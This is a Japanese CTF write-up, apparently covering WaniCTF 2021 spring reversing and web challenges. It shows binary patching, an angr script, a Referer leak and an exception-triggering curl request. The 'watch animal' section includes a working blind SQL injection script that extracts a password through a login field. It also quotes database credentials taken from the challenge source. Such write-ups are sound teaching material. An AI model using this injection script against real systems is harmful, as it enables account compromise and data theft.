$ ./secret ▄▀▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▄▄▄▄ ▄▀▀▄▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▀█▀▀▄ █ █ ▐ ▐ ▄▀ ▐ █ █ ▌ █ █ █ ▐ ▄▀ ▐ █ █ ▐ ▀▄ █▄▄▄▄▄ ▐ █ ▐ █▀▀█▀ █▄▄▄▄▄ ▐ █ ▀▄ █ █ ▌ █ ▄▀ █ █ ▌ █ █▀▀▀ ▄▀▄▄▄▄ ▄▀▄▄▄▄▀ █ █ ▄▀▄▄▄▄ ▄▀ ▐ █ ▐ █ ▐ ▐ ▐ █ ▐ █ ▐ ▐ ▐ ▐ Input secret key : wani_is_the_coolest_animals_in_the_world! Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
[Reversing]execute[Easy]
コマンドを間違えて、ソースコードも消しちゃった! 今残っているファイルだけで実行して頂けますか? (reverse engineeringすれば、実行しなくても中身は分かるみたいです。)
配布されたファイルを展開するといくつかのファイルが含まれていました。その中のMakeFile
は以下の内容でした:
all: gcc --version > version.txt gcc -S main.c gcc -shared -o libprint.so print.c rm main.c rm print.c
元のソースファイルを消していることが分かります。main.s
とlibprint.so
は配布ファイルに含まれています。
main.s
を見ると、数値リテラルの代入がありました:
(snip) movabsq $7941081424088616006, %rax movabsq $7311705455698409823, %rdx movq %rax, -48(%rbp) movq %rdx, -40(%rbp) movabsq $3560223458505028963, %rax movabsq $35295634984951667, %rdx (snip)
なんとなくこのあたりがフラグを表している気がしたので変換してみました:
In [2]: def f(x): ...: s = "" ...: while x > 0: ...: s += chr(x%256) ...: x//=256 ...: return s ...: In [3]: f(7941081424088616006) Out[3]: 'FLAG{c4n' In [4]: f(7311705455698409823) Out[4]: '_y0u_exe' In [5]: f(3560223458505028963) Out[5]: 'cu4e_th1' In [6]: f(35295634984951667) Out[6]: 's_fi1e}'
大事な部分を読んでいない気持ちがありつつも、フラグを得られました: FLAG{c4n_y0u_execu4e_th1s_fi1e}
[Reversing]timer[Hard]
フラグが出てくるまで待てますか? super_complex_flag_print_function 関数でフラグを表示しているようですが、難読化されているため静的解析でフラグを特定するのは難しそうです... GDBを使って動的解析してみるのはいかがでしょうか?
配布されたファイルを展開するとバイナリが含まれていました。とりあえず実行してみると、259200秒=72時間=3日待つ必要がありそうでした:
$ ./timer ████████╗██╗███╗ ███╗███████╗██████╗ ╚══██╔══╝██║████╗ ████║██╔════╝██╔══██╗ ██║ ██║██╔████╔██║█████╗ ██████╔╝ ██║ ██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ I'll show the flag when the timer is 0 seconds. 259200 seconds left. 259199 seconds left. 259198 seconds left. ^C
IDAで見るとsleep(1)
呼び出しをしてカウンタを減らしていく動作となっていました。問題のヒントを見るにGDBでカウンタ変数を書き換えるのが想定解法だと思いますが、IDAで開いているのでsleep関数の引数を1から0になるようにパッチを当てることにしました。パッチを当てた後のバイナリを実行して、カウンタが0になるまで数十秒待つことでフラグを得られました:
$ ./timer ████████╗██╗███╗ ███╗███████╗██████╗ ╚══██╔══╝██║████╗ ████║██╔════╝██╔══██╗ ██║ ██║██╔████╔██║█████╗ ██████╔╝ ██║ ██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ I'll show the flag when the timer is 0 seconds. 259200 seconds left. 259199 seconds left. 259198 seconds left. (snip) 3 seconds left. 2 seconds left. 1 seconds left. The time has come. Flag is "FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}"
[Reversing]licence[Very hard]
このプログラムは非常に強力なライセンス確認処理が実装されています。 ただ、今持っているライセンスファイルは間違っているようです。 正しいライセンスファイルを見つけて頂けますか? $ ./licence key.dat Failed to activate. 複雑な処理をシンボリック実行で解析してくれるツール「angr」を使えば簡単に解けるかも。
配布されたファイルを展開すると、問題文に出てくるlicence
バイナリとkey.dat
が含まれていました。IDAでバイナリを見ると、check関数の分岐がとんでもない事になっていたので、素直にヒントどおりにangrを使って書くことにしました。angrでファイルの内容を扱う方法を調べると「angr例文集 書いて覚えるバイナリ自動解析技術 - Qiita」が見つかったので、これを参考に以下のスクリプトを書きました:
#!/usr/bin/env python3.8 import angr p = angr.Project('./licence') filename = "key.dat" argv = [p.filename, filename] state = p.factory.entry_state(args = argv) simgr = p.factory.simulation_manager(state) simgr.explore(find=lambda s: b"Correct! This software is successfully activated!" in s.posix.dumps(1)) if len(simgr.found) > 0: state = simgr.found[0] print(state.posix.dumps(0)) print(state.posix.dump_file_by_path(filename)) else: print("Not found...")
これを実行し完了するまで数分待って、フラグを得られました: FLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}
[Web]fake[Beginner]
偽物を見破れますか? https://fake.web.wanictf.org
この問題には配布ファイルはありません。URLを見に行くと、数百個のボタンが並んでいました。HTMLソースを見ると1箇所だけ異なるものが見つかりました:
<button type="button" class="btn btn-dark">Link</button> <a href="144c9defac04969c7bfad8efaa8ea194.html" style="display: none;"> <button type="button" class="btn btn-primary">Link</button> </a> <button type="button" class="btn btn-primary">Link</button>
リンク先へアクセスすると、フラグが書かれていました: FLAG{wow_y0u_h4ve_3po4ted_th3_7ake}
[Web]Wani Request 1[Easy]
RequestBinを使ってみよう!! https://request1.web.wanictf.org/ この問題ではあどみんちゃんから自分のサーバにアクセスしてもらう必要があります。 自前でサーバを用意するのが難しい方はRequestBinなどのサービスを利用してみましょう。 サーバが用意出来たらいよいよ本番です。 問題ページにアクセスし、あなたが用意したサーバのURLを送信してください。 送信するとあどみんちゃんの秘密のページにあなたの送信したURLのリンクが表示されます。 あどみんちゃんは表示されたリンクをクリックしてあなたのサーバにアクセスしてくれます。 あどみんちゃんからのアクセスを分析して秘密のページを探してみてください。 HINT1 : HTTP ヘッダー HINT2 : xss問題ではありません
この問題には配布ファイルはありません。URLを見に行くと、URLの入力欄とボタンがありました。ボタンを押すと入力したURLへあどみんちゃんがアクセスしてくれるようです。
RequestBinは使ったことがありませんでしたが、せっかくなのでユーザー登録をして使ってみることにしました。最初は使い方がわかりませんでしたが、しばらくしてWorkflowページにURLがあることに気づきました。そのURLをあどみんちゃんにアクセスしてもらうと、リファラーにURLがついていました。そのURLへアクセスすると、フラグが書かれていました: FLAG{h77p_r3f3r3r_15_54f3_42a2cc2f275}
leetの最後の単語はなんと書いているのでしょう……?
[Web]exception[Easy]
API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。 https://exception.web.wanictf.org/
配布されたファイルを展開すると、サーバー側のスクリプトが含まれていました:
import json import os import traceback # HelloFunction(/hello)のコード def lambda_handler(event, context): try: try: data = json.loads(event["body"]) except Exception: data = {} if "name" in data: return { "statusCode": 200, "body": json.dumps({"name": "こんにちは、" + data["name"] + "さん"}), } return { "statusCode": 400, "body": json.dumps( { "error_message": "Bad Request", } ), } except Exception as e: error_message = traceback.format_exception_only(type(e), e) del event["requestContext"]["accountId"] del event["requestContext"]["resourceId"] return { "statusCode": 500, "body": json.dumps( { "error_message": error_message, "event": event, "flag": os.environ.get("FLAG"), } ), }
このコードから、外側のtry中で例外を発生させるとフラグが得られることが分かります。cURLで適当に試しているうちに、{"name":123}
なデータを送って偶然フラグを取得できました。整数と文字列を加算しようとして例外出るんですね:
$ curl https://exception.web.wanictf.org/hello -X POST -H "content-type: application/json" -d '{"name":123}' {"error_message": ["TypeError: can only concatenate str (not \"int\") to str\n"], "event": {"resource": "/hello", "path": "/hello", "httpMethod": "POST", "headers": {"content-type": "application/json", "Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "User-Agent": "Amazon CloudFront", "Via": "2.0 01fbd7d01ff1478611d3936344040a80.cloudfront.net (CloudFront)", "X-Amz-Cf-Id": "Y84XZE0JD_Wrp5sx4kpgVE_CQ8QC2K2EXwvRRPwgWNxpUoDlAOZ8tQ==", "X-Amzn-Trace-Id": "Root=1-608eb947-5f894c7908c77a6274746c16", "X-Forwarded-For": "192.0.2.1, 130.176.3.75", "X-Forwarded-Port": "443", "X-Forwarded-Proto": "https"}, "multiValueHeaders": {"content-type": ["application/json"], "Host": ["boakqtdih8.execute-api.us-east-1.amazonaws.com"], "User-Agent": ["Amazon CloudFront"], "Via": ["2.0 01fbd7d01ff1478611d3936344040a80.cloudfront.net (CloudFront)"], "X-Amz-Cf-Id": ["Y84XZE0JD_Wrp5sx4kpgVE_CQ8QC2K2EXwvRRPwgWNxpUoDlAOZ8tQ=="], "X-Amzn-Trace-Id": ["Root=1-608eb947-5f894c7908c77a6274746c16"], "X-Forwarded-For": ["192.0.2.1, 130.176.3.75"], "X-Forwarded-Port": ["443"], "X-Forwarded-Proto": ["https"]}, "queryStringParameters": null, "multiValueQueryStringParameters": null, "pathParameters": null, "stageVariables": null, "requestContext": {"resourcePath": "/hello", "httpMethod": "POST", "extendedRequestId": "etHjQF-EIAMFymw=", "requestTime": "02/May/2021:14:37:59 +0000", "path": "/Prod/hello", "protocol": "HTTP/1.1", "stage": "Prod", "domainPrefix": "boakqtdih8", "requestTimeEpoch": 1619966279933, "requestId": "45212e19-718a-4593-829b-ddea3575f9ab", "identity": {"cognitoIdentityPoolId": null, "accountId": null, "cognitoIdentityId": null, "caller": null, "sourceIp": "192.0.2.1", "principalOrgId": null, "accessKey": null, "cognitoAuthenticationType": null, "cognitoAuthenticationProvider": null, "userArn": null, "userAgent": "Amazon CloudFront", "user": null}, "domainName": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "apiId": "boakqtdih8"}, "body": "{\"name\":123}", "isBase64Encoded": false}, "flag": "FLAG{b4d_excep7ion_handl1ng}"}
フラグはレスポンスの最後に含まれています: FLAG{b4d_excep7ion_handl1ng}
[Web]watch animal[Very hard]
> スーパーかわいい動物が見れるWebサービスを作ったよ。 > wanictf21spring@gmail.com > のメアドの人のパスワードがフラグです。 > https://watch.web.wanictf.org/
配布されたファイルを展開すると、サーバー側のphpファイルやsqlファイルなどがいろいろ含まれていました。URLへアクセスしてみると、メールアドレス欄とパスワード欄でログインするシステムがありました。
docker-compose.yml
にMYSQL_ROOT_PASSWORD=root
という記述があったため、DBにはMySQLが使われているころが分かります。またphp/html/index.php
に以下の内容があるため、SQL Injectionできることが分かります:
(snip) if ($email !== '' && $password !== '') { if (strlen($email) > 32) { $err = 'Login Failed... Email address must be 32 characters or less.'; } else { if (strlen($password) > 128) { $err = 'Login Failed... Password must be 128 characters or less.'; } else { $dsn = 'mysql:host=mysql;dbname=animaldb;chartset=utf8mb4'; $db_user = 'animal'; $db_pass = 'RTpBfdBT4e3rc5yD'; $login = login($dsn, $db_user, $db_pass, $email, $password); if (!$login) { $err = 'Login Failed... Either the email or password is invalid.'; } } } } (snip)
問題文からwanictf21spring@gmail.comの人のパスワードを破ればよいことが分かるので、Blind SQL Injectionを行えばパスワード(=フラグ)が分かりそうです。メールアドレス欄は32文字、パスワード欄は128文字制限なので、パスワード側でSQL Injectionを行うようにすることにして、以下のスクリプトを書きました:
#!/usr/bin/env python3.8 import requests url = "https://watch.web.wanictf.org/" email = "wanictf21spring@gmail.com" def is_succeeded(response): return "Crocodiles or true crocodiles are large semiaquatic reptiles that live throughout the tropics in Africa, Asia, the Americas and Australia." in response.text def check_password(s, pw): data = { "email": "test@example.com", "password": f"'||(email='{email}' AND ORD(SUBSTR(password, {len(pw)}, 1))={ord(pw[-1])})#" } print(pw) r = s.post(url, data=data) return is_succeeded(r) with requests.Session() as s: pw = "" while True: if is_succeeded(s.post(url, data={"email": email, "password": pw})): print(f"{pw=}") break for i in range(0x20, 0x7F): c = chr(i) current_pw = pw + c print(current_pw) if check_password(s, current_pw): pw = current_pw break else: raise RuntimeError("WHAT?")
これを実行してフラグを得られました: FLAG{bl1ndSQLi}
感想
- CTFはじめの頃は、pwn問題でシェルを取れていてもプロンプトが表示されていないとシェルを取れていないと思い込んでいた時期があったので、最初にncの使い方を説明してくれるのはとても丁寧だと思いました。
- 提供されるPythonファイルに型注釈がついているのが優しかったです。
- 細かい点ですけど、配布ファイル名が
rev-secret
等と分類-問題名
となっているのが分かりやすくてよかったです。